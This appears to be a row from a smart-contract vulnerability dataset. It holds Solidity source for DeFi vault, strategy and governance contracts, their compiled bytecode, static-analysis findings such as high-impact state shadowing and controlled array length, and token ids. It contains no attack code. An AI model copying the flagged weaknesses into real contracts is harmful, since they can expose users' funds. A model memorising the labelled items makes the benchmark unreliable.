function controller() external view returns (address);
function underlying() external view returns (address);
function strategy() external view returns (address);
function setStrategy(address _strategy) external;
function announceStrategyUpdate(address _strategy) external;
function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external;
function deposit(uint256 amountWei) external;
function depositFor(uint256 amountWei, address holder) external;
function withdrawAll() external;
function withdraw(uint256 numberOfShares) external;
function getPricePerFullShare() external view returns (uint256);
function underlyingBalanceWithInvestmentForHolder(address holder) view external returns (uint256);
// hard work should be callable only by the controller (by the hard worker) or by governance
function doHardWork() external;
}
pragma solidity 0.5.16;
contract IRewardDistributionSwitcher {
function switchingAllowed(address) external returns(bool);
function returnOwnership(address poolAddr) external;
function enableSwitchers(address[] calldata switchers) external;
function setSwithcer(address switcher, bool allowed) external;
function setPoolRewardDistribution(address poolAddr, address newRewardDistributor) external;
}
pragma solidity 0.5.16;
interface INoMintRewardPool {
function withdraw(uint) external;
function getReward() external;
function stake(uint) external;
function balanceOf(address) external view returns (uint256);
function earned(address account) external view returns (uint256);
function exit() external;
function rewardDistribution() external view returns (address);
function lpToken() external view returns(address);
function rewardToken() external view returns(address);
// only owner
function setRewardDistribution(address _rewardDistributor) external;
function transferOwnership(address _owner) external;
function notifyRewardAmount(uint256 _reward) external;
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity 0.5.16;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../interface/IController.sol";
import "../interface/IFeeRewardForwarderV5.sol";
import "./Controllable.sol";
contract RewardTokenProfitNotifier is Controllable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public profitSharingNumerator;
uint256 public profitSharingDenominator;
address public rewardToken;
constructor(
address _storage,
address _rewardToken
) public Controllable(_storage){
rewardToken = _rewardToken;
// persist in the state for immutability of the fee
profitSharingNumerator = 30; //IController(controller()).profitSharingNumerator();
profitSharingDenominator = 100; //IController(controller()).profitSharingDenominator();
require(profitSharingNumerator < profitSharingDenominator, "invalid profit share");
}
event ProfitLogInReward(uint256 profitAmount, uint256 feeAmount, uint256 timestamp);
event ProfitAndBuybackLog(uint256 profitAmount, uint256 feeAmount, uint256 timestamp);
function notifyProfitInRewardToken(uint256 _rewardBalance) internal {
if( _rewardBalance > 0 ){
uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator).div(profitSharingDenominator);
emit ProfitLogInReward(_rewardBalance, feeAmount, block.timestamp);
IERC20(rewardToken).safeApprove(controller(), 0);
IERC20(rewardToken).safeApprove(controller(), feeAmount);
IController(controller()).notifyFee(
rewardToken,
feeAmount
);
} else {
emit ProfitLogInReward(0, 0, block.timestamp);
}
}
function notifyProfitAndBuybackInRewardToken(uint256 _rewardBalance, address pool) internal {
if( _rewardBalance > 0 ){
uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator).div(profitSharingDenominator);
address forwarder = IController(controller()).feeRewardForwarder();
emit ProfitAndBuybackLog(_rewardBalance, feeAmount, block.timestamp);
IERC20(rewardToken).safeApprove(forwarder, 0);
IERC20(rewardToken).safeApprove(forwarder, _rewardBalance);
IFeeRewardForwarderV5(forwarder).notifyFeeAndBuybackAmounts(
feeAmount,
pool,
_rewardBalance.sub(feeAmount)
);
} else {
emit ProfitAndBuybackLog(0, 0, block.timestamp);
}
}
}
pragma solidity 0.5.16;
interface IStrategy {
function unsalvagableTokens(address tokens) external view returns (bool);
function governance() external view returns (address);
function controller() external view returns (address);
function underlying() external view returns (address);
function vault() external view returns (address);
function withdrawAllToVault() external;
function withdrawToVault(uint256 amount) external;
function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch()
// should only be called by controller
function salvage(address recipient, address token, uint256 amount) external;
function doHardWork() external;
function depositArbCheck() external view returns(bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.5.16;
interface ILiquidator {
event Swap(
address indexed buyToken,
address indexed sellToken,
address indexed target,
address initiator,
uint256 amountIn,
uint256 slippage,
uint256 total
);
function swapTokenOnMultipleDEXes(
uint256 amountIn,
uint256 amountOutMin,
address target,
bytes32[] calldata dexes,
address[] calldata path
) external;
function swapTokenOnDEX(
uint256 amountIn,
uint256 amountOutMin,
address target,
bytes32 dexName,
address[] calldata path
) external;
function getAllDexes() external view returns (bytes32[] memory);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.5.16;
interface ILiquidatorRegistry {
function universalLiquidator() external view returns(address);
function setUniversalLiquidator(address _ul) external;
function getPath(
bytes32 dex,
address inputToken,
address outputToken
) external view returns(address[] memory);
function setPath(
bytes32 dex,
address inputToken,
address outputToken,
address[] calldata path
) external;
}
pragma solidity 0.5.16;
interface IController {
// [Grey list]
// An EOA can safely interact with the system no matter what.
// If you're using Metamask, you're using an EOA.
// Only smart contracts may be affected by this grey list.
//
// This contract will not be able to ban any EOA from the system
// even if an EOA is being added to the greyList, he/she will still be able
// to interact with the whole system as if nothing happened.
// Only smart contracts will be affected by being added to the greyList.
// This grey list is only used in Vault.sol, see the code there for reference
function greyList(address _target) external view returns(bool);
function addVaultAndStrategy(address _vault, address _strategy) external;
function doHardWork(address _vault) external;
function hasVault(address _vault) external returns(bool);
function salvage(address _token, uint256 amount) external;
function salvageStrategy(address _strategy, address _token, uint256 amount) external;
function notifyFee(address _underlying, uint256 fee) external;
function profitSharingNumerator() external view returns (uint256);
function profitSharingDenominator() external view returns (uint256);
function feeRewardForwarder() external view returns(address);
function setFeeRewardForwarder(address _value) external;
}
pragma solidity 0.5.16;
interface IFeeRewardForwarderV5 {
function poolNotifyFixedTarget(address _token, uint256 _amount) external;
function notifyFeeAndBuybackAmounts(uint256 _feeAmount, address _pool, uint256 _buybackAmount) external;
function profitSharingPool() external view returns (address);
}
pragma solidity 0.5.16;
import "./Governable.sol";
contract Controllable is Governable {
constructor(address _storage) Governable(_storage) public {
}
modifier onlyController() {
require(store.isController(msg.sender), "Not a controller");
_;
}
modifier onlyControllerOrGovernance(){
require((store.isController(msg.sender) || store.isGovernance(msg.sender)),
"The caller must be controller or governance");
_;
}
function controller() public view returns (address) {
return store.controller();
}
}
pragma solidity 0.5.16;
import "./Storage.sol";
contract Governable {
Storage public store;
constructor(address _store) public {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
modifier onlyGovernance() {
require(store.isGovernance(msg.sender), "Not governance");
_;
}
function setStorage(address _store) public onlyGovernance {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
function governance() public view returns (address) {
return store.governance();
}
}
pragma solidity 0.5.16;
contract Storage {
address public governance;
address public controller;
constructor() public {
governance = msg.sender;
}
modifier onlyGovernance() {
require(isGovernance(msg.sender), "Not governance");
_;
}
function setGovernance(address _governance) public onlyGovernance {
require(_governance != address(0), "new governance shouldn't be empty");
governance = _governance;
}
function setController(address _controller) public onlyGovernance {
require(_controller != address(0), "new controller shouldn't be empty");
controller = _controller;
}
function isGovernance(address account) public view returns (bool) {
return account == governance;
}
function isController(address account) public view returns (bool) {
return account == controller;
}
} | 0x608060405234801561001057600080fd5b50600436106102325760003560e01c8063a1dab23e11610130578063ca2e5ad8116100b8578063e83189311161007c578063e831893114610458578063f77c47911461057f578063f7c618c114610587578063fbfa77cf1461058f578063fd8e72f61461059757610232565b8063ca2e5ad814610406578063ce8c42e81461040e578063d3df8aa41461042b578063d758259914610433578063db6204851461045057610232565b8063b60f151a116100ff578063b60f151a146103c9578063ba09591e146103d1578063bfd131f1146103ee578063c2a2a07b146103f6578063c5ca7d6d146103fe57610232565b8063a1dab23e14610392578063ad26512d1461039a578063b076a53a146103a2578063b2d93d37146103c157610232565b806345d01e4a116101be5780635aa6e675116101825780635aa6e6751461034c57806366666aa9146103545780636f307dc31461035c5780639137c1a714610364578063975057e71461038a57610232565b806345d01e4a146103065780634fa5d8541461030e578063501859461461031657806353503bbb1461033c5780635641ec031461034457610232565b806336e9332d1161020557806336e9332d146102ca5780633abc0979146102d25780633cdc5389146102da5780633fc8cef3146102e257806345710074146102ea57610232565b8063026a0dd01461023757806306974e8d146102515780631113ef52146102755780632a2957b2146102ad575b600080fd5b61023f61059f565b60408051918252519081900360200190f35b6102596105a5565b604080516001600160a01b039092168252519081900360200190f35b6102ab6004803603606081101561028b57600080fd5b506001600160a01b0381358116916020810135909116906040013561061c565b005b610259600480360360208110156102c357600080fd5b50356107c3565b6102596107ea565b610259610802565b61025961081a565b610259610829565b6102f2610838565b604080519115158252519081900360200190f35b61023f610848565b6102ab6109de565b6102f26004803603602081101561032c57600080fd5b50356001600160a01b0316610b30565b610259610b45565b6102ab610b54565b610259610c8a565b610259610cd9565b610259610ce8565b6102ab6004803603602081101561037a57600080fd5b50356001600160a01b0316610cf7565b610259610e2d565b61023f610e3c565b610259610e42565b6102ab600480360360208110156103b857600080fd5b50351515610e51565b610259610f28565b61023f610f37565b6102ab600480360360208110156103e757600080fd5b5035610f3d565b6102ab610ffb565b6102f26112a5565b6102596112aa565b6102596112b9565b6102ab6004803603602081101561042457600080fd5b50356112c8565b6102f2611562565b61023f6004803603602081101561044957600080fd5b5035611572565b6102ab611590565b6102ab6004803603604081101561046e57600080fd5b81019060208101813564010000000081111561048957600080fd5b82018360208201111561049b57600080fd5b803590602001918460208302840111640100000000831117156104bd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561050d57600080fd5b82018360208201111561051f57600080fd5b8035906020019184602083028401116401000000008311171561054157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611658945050505050565b610259611738565b610259611787565b610259611796565b6102596117a5565b60025481565b600754604080516306974e8d60e01b815290516000926001600160a01b0316916306974e8d916004808301926020929190829003018186803b1580156105ea57600080fd5b505afa1580156105fe573d6000803e3d6000fd5b505050506040513d602081101561061457600080fd5b505190505b90565b6000546040805163b429afeb60e01b815233600482015290516001600160a01b039092169163b429afeb91602480820192602092909190829003018186803b15801561066757600080fd5b505afa15801561067b573d6000803e3d6000fd5b505050506040513d602081101561069157600080fd5b5051806107115750600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b1580156106e457600080fd5b505afa1580156106f8573d6000803e3d6000fd5b505050506040513d602081101561070e57600080fd5b50515b61074c5760405162461bcd60e51b815260040180806020018281038252602b8152602001806125a1602b913960400191505060405180910390fd5b6001600160a01b03821660009081526006602052604090205460ff16156107a45760405162461bcd60e51b81526004018080602001828103825260228152602001806125cc6022913960400191505060405180910390fd5b6107be6001600160a01b038316848363ffffffff6117b416565b505050565b600e81815481106107d057fe5b6000918252602090912001546001600160a01b0316905081565b73a0246c9032bc3a600820415ae600c6388619a14d81565b737882172921e99d590e097cd600554339fbdbc48081565b6010546001600160a01b031681565b6014546001600160a01b031681565b600c54600160a01b900460ff1681565b600c546000906001600160a01b03166108da5760048054604080516370a0823160e01b81523093810193909352516001600160a01b03909116916370a08231916024808301926020929190829003018186803b1580156108a757600080fd5b505afa1580156108bb573d6000803e3d6000fd5b505050506040513d60208110156108d157600080fd5b50519050610619565b60048054604080516370a0823160e01b81523093810193909352516109d9926001600160a01b03909216916370a08231916024808301926020929190829003018186803b15801561092a57600080fd5b505afa15801561093e573d6000803e3d6000fd5b505050506040513d602081101561095457600080fd5b5051600c54604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156109a157600080fd5b505afa1580156109b5573d6000803e3d6000fd5b505050506040513d60208110156109cb57600080fd5b50519063ffffffff61180616565b905090565b600b54600160a01b900460ff1615610a275760405162461bcd60e51b81526004018080602001828103825260348152602001806126a96034913960400191505060405180910390fd5b6005546001600160a01b0316331480610a585750610a43611738565b6001600160a01b0316336001600160a01b0316145b80610a7b5750610a66610c8a565b6001600160a01b0316336001600160a01b0316145b610ab65760405162461bcd60e51b815260040180806020018281038252603a8152602001806125ee603a913960400191505060405180910390fd5b600c60009054906101000a90046001600160a01b03166001600160a01b0316633d18b9126040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610b0657600080fd5b505af1158015610b1a573d6000803e3d6000fd5b50505050610b26611869565b610b2e611b25565b565b60066020526000908152604090205460ff1681565b6015546001600160a01b031681565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610b9f57600080fd5b505afa158015610bb3573d6000803e3d6000fd5b505050506040513d6020811015610bc957600080fd5b5051610c0d576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600c60009054906101000a90046001600160a01b03166001600160a01b031663e9fad8ee6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610c5d57600080fd5b505af1158015610c71573d6000803e3d6000fd5b5050600b805460ff60a01b1916600160a01b1790555050565b60008060009054906101000a90046001600160a01b03166001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ea57600080fd5b600c546001600160a01b031681565b6004546001600160a01b031681565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610d4257600080fd5b505afa158015610d56573d6000803e3d6000fd5b505050506040513d6020811015610d6c57600080fd5b5051610db0576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b038116610e0b576040805162461bcd60e51b815260206004820152601e60248201527f6e65772073746f726167652073686f756c646e277420626520656d7074790000604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b600d5481565b6013546001600160a01b031681565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610e9c57600080fd5b505afa158015610eb0573d6000803e3d6000fd5b505050506040513d6020811015610ec657600080fd5b5051610f0a576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600c8054911515600160a01b0260ff60a01b19909216919091179055565b6011546001600160a01b031681565b60015481565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610f8857600080fd5b505afa158015610f9c573d6000803e3d6000fd5b505050506040513d6020811015610fb257600080fd5b5051610ff6576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600d55565b6005546001600160a01b031633148061102c5750611017611738565b6001600160a01b0316336001600160a01b0316145b8061104f575061103a610c8a565b6001600160a01b0316336001600160a01b0316145b61108a5760405162461bcd60e51b815260040180806020018281038252603a8152602001806125ee603a913960400191505060405180910390fd5b600c546001600160a01b03161561118157600c54604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d602081101561111057600080fd5b5051111561118157600c60009054906101000a90046001600160a01b03166001600160a01b031663e9fad8ee6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561116857600080fd5b505af115801561117c573d6000803e3d6000fd5b505050505b611189611869565b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b1580156111d857600080fd5b505afa1580156111ec573d6000803e3d6000fd5b505050506040513d602081101561120257600080fd5b50511115610b2e5760055460048054604080516370a0823160e01b8152309381019390935251610b2e936001600160a01b03908116939216916370a08231916024808301926020929190829003018186803b15801561126057600080fd5b505afa158015611274573d6000803e3d6000fd5b505050506040513d602081101561128a57600080fd5b50516004546001600160a01b0316919063ffffffff6117b416565b600190565b6009546001600160a01b031681565b6012546001600160a01b031681565b6005546001600160a01b03163314806112f957506112e4611738565b6001600160a01b0316336001600160a01b0316145b8061131c5750611307610c8a565b6001600160a01b0316336001600160a01b0316145b6113575760405162461bcd60e51b815260040180806020018281038252603a8152602001806125ee603a913960400191505060405180910390fd5b60048054604080516370a0823160e01b81523093810193909352516001600160a01b03909116916370a08231916024808301926020929190829003018186803b1580156113a357600080fd5b505afa1580156113b7573d6000803e3d6000fd5b505050506040513d60208110156113cd57600080fd5b505181111561153c5760048054604080516370a0823160e01b8152309381019390935251600092611461926001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561142857600080fd5b505afa15801561143c573d6000803e3d6000fd5b505050506040513d602081101561145257600080fd5b5051839063ffffffff611dce16565b600c54604080516370a0823160e01b815230600482015290519293506001600160a01b0390911691632e1a7d4d916114ec9184916370a08231916024808301926020929190829003018186803b1580156114ba57600080fd5b505afa1580156114ce573d6000803e3d6000fd5b505050506040513d60208110156114e457600080fd5b505184611e10565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561152257600080fd5b505af1158015611536573d6000803e3d6000fd5b50505050505b60055460045461155f916001600160a01b0391821691168363ffffffff6117b416565b50565b600b54600160a01b900460ff1681565b600f818154811061157f57fe5b600091825260209091200154905081565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b1580156115db57600080fd5b505afa1580156115ef573d6000803e3d6000fd5b505050506040513d602081101561160557600080fd5b5051611649576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600b805460ff60a01b19169055565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b1580156116a357600080fd5b505afa1580156116b7573d6000803e3d6000fd5b505050506040513d60208110156116cd57600080fd5b5051611711576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b815161172490600e9060208501906124b6565b5080516107be90600f90602084019061251b565b60008060009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ea57600080fd5b600b546001600160a01b031681565b6005546001600160a01b031681565b600a546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526107be908490611e26565b600082820183811015611860576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b600b54604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156118b457600080fd5b505afa1580156118c8573d6000803e3d6000fd5b505050506040513d60208110156118de57600080fd5b5051600c54909150600160a01b900460ff1615806118fd5750600d5481105b15611931576040517f444bcec8acce9dc46755761662d6262a490b9f61cca73243c5131d98df078ce390600090a150610b2e565b600061193b6105a5565b600b5490915061195c906001600160a01b031682600063ffffffff611fde16565b600b54611979906001600160a01b0316828463ffffffff611fde16565b806001600160a01b0316633c449dad83600130600f600e6040518663ffffffff1660e01b815260040180868152602001858152602001846001600160a01b03166001600160a01b0316815260200180602001806020018381038352858181548152602001915080548015611a0c57602002820191906000526020600020905b8154815260200190600101908083116119f8575b50508381038252848181548152602001915080548015611a5557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611a37575b5050975050505050505050600060405180830381600087803b158015611a7a57600080fd5b505af1158015611a8e573d6000803e3d6000fd5b5050600854604080516370a0823160e01b81523060048201529051600094506001600160a01b0390921692506370a08231916024808301926020929190829003018186803b158015611adf57600080fd5b505afa158015611af3573d6000803e3d6000fd5b505050506040513d6020811015611b0957600080fd5b50516009549091506107be9082906001600160a01b03166120f1565b600b54600160a01b900460ff1615611b6e5760405162461bcd60e51b81526004018080602001828103825260348152602001806126a96034913960400191505060405180910390fd5b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b158015611bbd57600080fd5b505afa158015611bd1573d6000803e3d6000fd5b505050506040513d6020811015611be757600080fd5b50511115610b2e5760048054600c54604080516370a0823160e01b81523094810194909452516001600160a01b039283169363095ea7b3939092169184916370a0823191602480820192602092909190829003018186803b158015611c4b57600080fd5b505afa158015611c5f573d6000803e3d6000fd5b505050506040513d6020811015611c7557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015611cc657600080fd5b505af1158015611cda573d6000803e3d6000fd5b505050506040513d6020811015611cf057600080fd5b5050600c5460048054604080516370a0823160e01b81523093810193909352516001600160a01b039384169363a694fc3a939216916370a08231916024808301926020929190829003018186803b158015611d4a57600080fd5b505afa158015611d5e573d6000803e3d6000fd5b505050506040513d6020811015611d7457600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925251602480830192600092919082900301818387803b158015611db457600080fd5b505af1158015611dc8573d6000803e3d6000fd5b50505050565b600061186083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122e8565b6000818310611e1f5781611860565b5090919050565b611e38826001600160a01b031661237f565b611e89576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310611ec75780518252601f199092019160209182019101611ea8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611f29576040519150601f19603f3d011682016040523d82523d6000602084013e611f2e565b606091505b509150915081611f85576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611dc857808060200190516020811015611fa157600080fd5b5051611dc85760405162461bcd60e51b815260040180806020018281038252602a815260200180612649602a913960400191505060405180910390fd5b801580612064575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561203657600080fd5b505afa15801561204a573d6000803e3d6000fd5b505050506040513d602081101561206057600080fd5b5051155b61209f5760405162461bcd60e51b81526004018080602001828103825260368152602001806126736036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b1790526107be908490611e26565b81156122a4576000612120600254612114600154866123bb90919063ffffffff16565b9063ffffffff61241416565b9050600061212c611738565b6001600160a01b031663ae28d1286040518163ffffffff1660e01b815260040160206040518083038186803b15801561216457600080fd5b505afa158015612178573d6000803e3d6000fd5b505050506040513d602081101561218e57600080fd5b50516040805186815260208101859052428183015290519192507fad8c62801def5a4c5bc648b04530098d0af19e9d7c1813bd05811ad417eba99f919081900360600190a16003546121f1906001600160a01b031682600063ffffffff611fde16565b60035461220e906001600160a01b0316828663ffffffff611fde16565b6001600160a01b03811663a214385c838561222f888363ffffffff611dce16565b6040518463ffffffff1660e01b815260040180848152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b15801561228557600080fd5b505af1158015612299573d6000803e3d6000fd5b5050505050506122e4565b6040805160008082526020820152428183015290517fad8c62801def5a4c5bc648b04530098d0af19e9d7c1813bd05811ad417eba99f9181900360600190a15b5050565b600081848411156123775760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561233c578181015183820152602001612324565b50505050905090810190601f1680156123695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906123b357508115155b949350505050565b6000826123ca57506000611863565b828202828482816123d757fe5b04146118605760405162461bcd60e51b81526004018080602001828103825260218152602001806126286021913960400191505060405180910390fd5b600061186083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836124a05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561233c578181015183820152602001612324565b5060008385816124ac57fe5b0495945050505050565b82805482825590600052602060002090810192821561250b579160200282015b8281111561250b57825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906124d6565b50612517929150612562565b5090565b828054828255906000526020600020908101928215612556579160200282015b8281111561255657825182559160200191906001019061253b565b50612517929150612586565b61061991905b808211156125175780546001600160a01b0319168155600101612568565b61061991905b80821115612517576000815560010161258c56fe5468652063616c6c6572206d75737420626520636f6e74726f6c6c6572206f7220676f7665726e616e6365746f6b656e20697320646566696e6564206173206e6f742073616c76616761626c655468652073656e6465722068617320746f2062652074686520636f6e74726f6c6c6572206f72207661756c74206f7220676f7665726e616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365416374696f6e20626c6f636b65642061732074686520737472617465677920697320696e20656d657267656e6379207374617465a265627a7a72315820e12a30c1f238f2d262aae8a24946aad34d9f35eb97f97eae2ee66f961fd9a6d264736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
26976,
26187,
2063,
2549,
2497,
19961,
2683,
12521,
25746,
2629,
2278,
2546,
23833,
2692,
2581,
2050,
2683,
6679,
2063,
21472,
2692,
9818,
3540,
2475,
2050,
2575,
2094,
16703,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1019,
1012,
2385,
1025,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
2918,
1013,
1055,
26807,
1011,
2918,
1013,
19706,
1013,
1055,
26807,
15603,
4232,
18447,
2121,
12172,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
2918,
1013,
1055,
26807,
1011,
2918,
1013,
1055,
26807,
15603,
4232,
2475,
14971,
5244,
